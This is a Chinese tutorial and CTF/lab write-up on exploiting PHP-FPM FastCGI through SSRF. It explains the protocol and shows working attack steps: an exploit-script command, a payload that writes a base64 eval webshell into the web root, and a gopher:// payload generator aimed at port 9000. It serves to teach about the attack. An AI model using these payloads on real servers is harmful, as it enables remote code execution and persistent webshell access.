前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SSRF漏洞之FastCGI利用篇「建议收藏」

SSRF漏洞之FastCGI利用篇「建议收藏」

作者头像
全栈程序员站长
发布2022-09-14 11:18:05
2K0
发布2022-09-14 11:18:05
举报
文章被收录于专栏:全栈程序员必看

大家好,又见面了,我是你们的朋友全栈君。

SSRF漏洞之FastCGI利用篇

SSRF–(Server-side Request Forge, 服务端请求伪造) 定义:由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务

SSRF漏洞思维导图如下,本篇主要介绍利用SSRF漏洞攻击FastCGI

image-20210224111821069
image-20210224111821069

0x00.PHP-FPM FastCGI 未授权利用

首先我们使用Vulhub漏洞靶场快速搭建漏洞环境进行复现,感受一波漏洞的危害

代码语言:javascript
复制
# 保证实验vps具有git、docker、pip、docker-compose、python基础环境
## 下载vulhub靶场资源
git clone https://github.com/vulhub/vulhub.git
## 找到fpm Fastcgi目录,一键搭建漏洞环境
docker-compose up -d
image-20210225153035133
image-20210225153035133

环境搭建完成,如下图可以看到,FPM Fastcgi未授权漏洞 docker镜像正在运行,且监听在本地9000端口

image-20210225154642500
image-20210225154642500

执行P牛漏洞EXP,Exp见 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

代码语言:javascript
复制
python3 fpm.py 118.24.127.188 /usr/local/lib/php/PEAR.php -c "<?php echo `id`; ?>"
# 其中/usr/local/lib/php/PEAR.php 为安装php时默认自带的php文件
image-20210225155548429
image-20210225155548429

成功执行构造的任意PHP代码,拿到vps运行FPM的Web权限

看到这里,相比同学们都很好奇为何只是开启9000端口就造成任意命令执行了呢?

啥是PHP-FPM,FastCGI又是啥(大佬请略过0x01章节~)

接下来,我们一起探究漏洞的原理和具体的利用过程吧~

0x01.CGI、FastCGI、PHP-FPM

我们知道,在网站架构中,Web Server(如Nginx)只是内容的分发者

当客户端请求的是index.php,根据配置文件Web Server辨别不是静态文件,此时就需要去找 PHP解析器来处理

SSRF漏洞之FastCGI利用篇「建议收藏」
SSRF漏洞之FastCGI利用篇「建议收藏」

当Web Server收到 index.php 这个请求后,会启动对应的CGI 程序,也就是PHP解析器

接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以CGI规范的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程

这其中,引出如下概念:

  • CGI:是 Web Server 与 Web Application 之间数据交换的一种协议
  • **FastCGI:**同 CGI,是一种通信协议,对比 CGI 提升了5倍以上性能
  • **PHP-CGI:**是 PHP(Web Application)对 Web Server 提供的 CGI 协议的接口程序
  • **PHP-FPM:**是 PHP(Web Application)对 Web Server 提供的 FastCGI 协议的接口程序,额外还提供了相对智能的任务管理功能

PHP默认提供了很多种SAPI(服务器端应用编程端口),常见的提供给apache和nginx的php5_moduleCGIFastCGI,给IIS的ISAPI,以及Shell的CLI

经过不断的技术升级,目前搭建高性能的PHP Web服务器,最佳的方式是Apache/Nginx + FastCGI + **PHP-FPM(PHP-CGI)**方式

FastCGI工作原理

image-20210317142528149
image-20210317142528149

Web 服务器启动时载入FastCGI进程管理器(PHP-CGI或者PHP-FPM)

  1. FastCGI 进程管理器自身初始化,启动多个 CGI 解释器进程,并等待来自 Web Server 的连接
  2. Web 服务器与 FastCGI 进程管理器进行 Socket 通信,选择一个CGI 解释器进程,通过 FastCGI 协议发送 CGI 环境变量和标准输入数据给 这个CGI 解释器进程
  3. CGI 解释器进程完成处理后将标准输出和错误信息从同一连接返回 Web 服务器
  4. CGI 解释器进程接着等待并处理来自 Web 服务器的下一个连接

由此,PHP-FPM 就是一个FastCGI进程管理器,是对于 FastCGI 协议的具体实现,它负责管理一个进程池,来处理来自Web服务器的请求。

PHP-FPM通信方式

在PHP使用FastCGI连接模式的情况下,Web服务器中间件如Nginx和PHP-FPM之间的通信方式又分为两种,TCP模式和套接字(unix socket)模式

  • TCP模式即是PHP-FPM进程会监听本机上的一个端口(默认为9000),然后Nginx会把客户端请求数据通过FastCGI协议传给9000端口,PHP-FPM拿到数据后会调用CGI进程解析
  • Unix套接字模式是Unix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。上述原理图中提到的Socket 通信即为此模式

配合文章开头的漏洞演示来看,我们利用SSRF漏洞攻击FastCGI是在TCP模式下进行

0x02.FastCGI攻击原理

FastCGI协议

HTTP协议是浏览器和服务器中间件进行数据交换的协议,类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端(如PHP-FPM)进行数据交换的协议

Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端(PHP-FPM),语言后端(PHP-FPM)解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件

record的头固定8个字节,body是由头中的contentLength指定,其结构如下:

代码语言:javascript
复制
typedef struct { 
   
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

语言端(PHP-FPM)解析了FastCGI头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体 Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用不需要该Padding的时候,将其长度设置为0即可 可见,一个FastCGI record结构最大支持的body大小是2^16,也就是65536字节

其中,header中的type代表本次record的类型,所有值及具体含义如下

image-20210317165945168
image-20210317165945168

服务器中间件和后端语言(PHP-FPM)通信,第一个数据包就是type为1的record,后续互相交流,发送type为4、5、6、7的record,结束时发送type为2、3的record

举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么服务器中间件(Nginx)会将这个请求变成如下key-value对:

代码语言:javascript
复制
{ 
   
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组其实就是PHP中_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充_SERVER数组,也是告诉FPM:“我要执行哪个PHP文件”

当后端语言(PHP-FPM)拿到由Nginx发过来的FastCGI数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php

漏洞原理

到这里,PHP-FPM FastCGI未授权访问漏洞也就呼之欲出了。PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造FastCGI协议,和FPM进行通信

此时,我们自行构造SCRIPT_FILENAME的值,就可以控制PHP-FPM执行任意后缀文件,如/etc/passwd

但是,在PHP5.3.9之后,FPM默认配置中增加了security.limit_extensions选项

代码语言:javascript
复制
; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7

其限定了只有某些后缀的文件允许被FPM执行,默认是.php

因此,想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。已存在的PHP文件名获得有两种方法:

  • 通过系统的信息收集、爆破、报错获得某个PHP文件名及其路径
  • 找安装PHP后默认存在的PHP文件,如/usr/local/lib/php/PEAR.php

现在,拿到了文件名,我们能控制SCRIPT_FILENAME,却只能执行目标服务器上的文件,并不能执行我们想要执行的任意代码,但我们可以通过构造type值为4的record,也就是设置向PHP-FPM传递的环境变量来达到任意代码执行的目的

PHP.INI中有两个有趣的配置项,auto_prepend_fileauto_append_file

  • auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件
  • auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件

若我们设置auto_prepend_filephp://inputallow_url_include=on),那么就等于在执行任何PHP文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在FastCGI协议 Body中,它们就能被执行了

那么我们如何设置PHP.INI中auto_prepend_file的值呢?

我们可以通过PHP-FPM的两个环境变量,PHP_VALUE PHP_ADMIN_VALUE来设置PHP.INI

image-20210317212605153
image-20210317212605153

最终,我们设置向PHP-FPM传递的环境变量:

代码语言:javascript
复制
{ 
   
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

最后两行设置auto_prepend_file = php://inputallow_url_include = On,然后将我们需要执行的代码放在Body中,即可执行任意代码(见文章开头漏洞复现)

0x03.SSRF攻击本地的PHP-FPM

生产环境中,除非测试或者图方便之外,PHP-FPM是极少开放在公网的,绝大部分都是启动在本地即监听127.0.0.1:9000地址,这种情况下,如果服务器端存在SSRF漏洞,那么我们就可以借助SSRF来攻击本地PHP-FPM服务,达到任意代码执行的效果

我们通过CTFHub中的一道SSRF FastCGI协议题目具体进行利用

image-20210318101305423
image-20210318101305423

根据前面几篇SSRF系列的文章,我们对gopher协议已经有所了解

代码语言:javascript
复制
gopher://<host>:<port>/<gopher-path>_后接TCP数据流

当后接TCP数据流为我们构造的恶意FastCGI协议报文,即可执行恶意命令

根据上一章节的FastCGI攻击原理分析,我们需要满足三个条件:

  • PHP版本要高于5.3.3,才能动态修改PHP.INI配置文件(题目环境已满足)
  • 知道题目环境中的一个PHP文件的绝对路径
  • PHP-FPM监听在本机9000端口(题目环境已满足)

打开题目链接,我们访问index.php会被重定向,其他任意PHP文件都返回404,说明存在index.php

  • PHP文件的绝对路径:/var/www/html/index.php

方法一

所需条件都满足,我们利用题目附件中P牛的EXP:fpm.php

我们在本机监听9000端口,然后运行fpm.py将恶意FastCGI协议报文数据打在本机的9000端口,保存为exp.txt

代码语言:javascript
复制
# 监听9000端口
nc -lvvp 9000 > exp.txt

# 运行`fpm.py`
python3 fpm.py 127.0.0.1 /var/www/html/index.php -c "<?php system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk 7Pz4 | base64 -d > /var/www/html/shel1.php');die('-----made by pniu----- ');?>"
image-20210318115105185
image-20210318115105185

编写exp_urlcode.py将exp.txt进行urlencode编码并输出

代码语言:javascript
复制
from urllib import quote
with open('exp.txt') as f:
	pld = f.read()
print "gopher://127.0.0.1:9000/_" + quote(pld)
image-20210318115521777
image-20210318115521777

然后进行二次编码后将最终的payload内容放到?url=后面发送过去(这里需要进行两次编码,因为这里GET会进行一次解码,curl也会再进行一次解码)

image-20210318115149077
image-20210318115149077

使用中国蚁剑成功连接webshell,在其根目录下找到flag

image-20210318115331996
image-20210318115331996

拿到flag

image-20210318115610268
image-20210318115610268

方法二

gopher工具生成payload

image-20210318101106760
image-20210318101106760

与方法一一样,将payload二次编码后发送,然后中国蚁剑成功连接webshell,在其根目录下找到flag

0x04.总结

通过对PHP-FPM FastCGI协议的学习,漏洞原理的具体利用,得出FastCGI 的利用大多数还是配合SSRF漏洞才能造成巨大危害的结论。同时,也加深了PHP与Web Server之间通信的具体了解与认识

参考

Web安全基础学习之SSRF漏洞利用

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

浅析php-fpm的攻击方式

CGI、FastCGI和PHP-FPM关系图解

PHP 进阶之路 – 深入理解 FastCGI 协议以及在 PHP 中的实现

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/159799.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • SSRF漏洞之FastCGI利用篇
    • 0x00.PHP-FPM FastCGI 未授权利用
      • 0x01.CGI、FastCGI、PHP-FPM
        • FastCGI工作原理
        • PHP-FPM通信方式
      • 0x02.FastCGI攻击原理
        • FastCGI协议
        • 漏洞原理
      • 0x03.SSRF攻击本地的PHP-FPM
        • 方法一
        • 方法二
      • 0x04.总结
        • 参考
        相关产品与服务
        消息队列 TDMQ
        消息队列 TDMQ (Tencent Distributed Message Queue)是腾讯基于 Apache Pulsar 自研的一个云原生消息中间件系列,其中包含兼容Pulsar、RabbitMQ、RocketMQ 等协议的消息队列子产品,得益于其底层计算与存储分离的架构,TDMQ 具备良好的弹性伸缩以及故障恢复能力。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档